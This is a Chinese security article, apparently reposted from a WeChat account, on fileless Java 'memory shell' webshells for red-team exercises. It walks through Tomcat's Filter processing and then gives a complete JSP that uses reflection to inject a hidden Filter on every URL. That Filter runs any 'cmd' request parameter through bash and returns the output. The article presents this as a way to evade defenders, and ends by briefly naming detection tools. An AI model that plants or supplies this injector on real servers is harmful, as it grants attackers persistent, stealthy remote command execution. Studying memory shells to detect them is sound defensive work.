为什么需要内存马
在红蓝对抗或攻防演练中,如果上传的webshell,没有经过加密或者去特征,很容易被防守队员查杀。因此在攻与防的对抗中诞生了内存马,一种无文件落地的webshell技术。
内存马种类
servlet-api类
-
filter型 -
servlet型 -
listener型
-
拦截器 -
controller型
-
agent型
Container
|
|
|
---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
Filter配置
-
注解 -
web.xml
<filter>
<filter-name>filter1</filter-name>
<filter-class>com.web.Filter.FilterDemo2</filter-class>
</filter>
<filter-mapping>
<filter-name>filter1</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
Filter处理流程中的核心类
|
|
---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Tomcat的Filter处理流程
继续step over,来到了循环遍历FilterMaps
-
根据请求的URL从FilterMaps找出与之匹配的Filter -
根据匹配出来的FilterName,从FilterConfigs中寻找名称对应的FilterConfig -
找到对应的FilterConfig,添加到FilterChain -
在FilterChain中调用doFilter,再调用internalDoFilter遍历获取FilterChain中的FilterConfig -
从FilterConfig中获取Filter -
调用Filter的doFilter方法
Filter内存马编写
-
创建一个恶意的Filter -
将Filter封装成FilterDef -
将FilterDef添加到FilterDefs、FilterConfig -
创建一个FilterMaps -
创建一个FilterMap,将FilterName和urlpattern匹配,然后放入filterMaps的最前端,让我们的Fitler最先被执行
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "t4rrega";
ServletContext servletContext = request.getSession().getServletContext();
Field appcontext = servletContext.getClass().getDeclaredField("context");
appcontext.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appcontext.get(servletContext);
Field stdcontext = applicationContext.getClass().getDeclaredField("context");
stdcontext.setAccessible(true);
StandardContext standardContext = (StandardContext) stdcontext.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
out.print("Injected...");
}
%>
Filter查杀
-
java-memshell-scanner https://github.com/c0ny1/java-memshell-scanner -
arthas https://github.com/alibaba/arthas
arthas
总结
原文始发于微信公众号(安全宇宙):【创宇小课堂】代码审计-Filter内存马
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论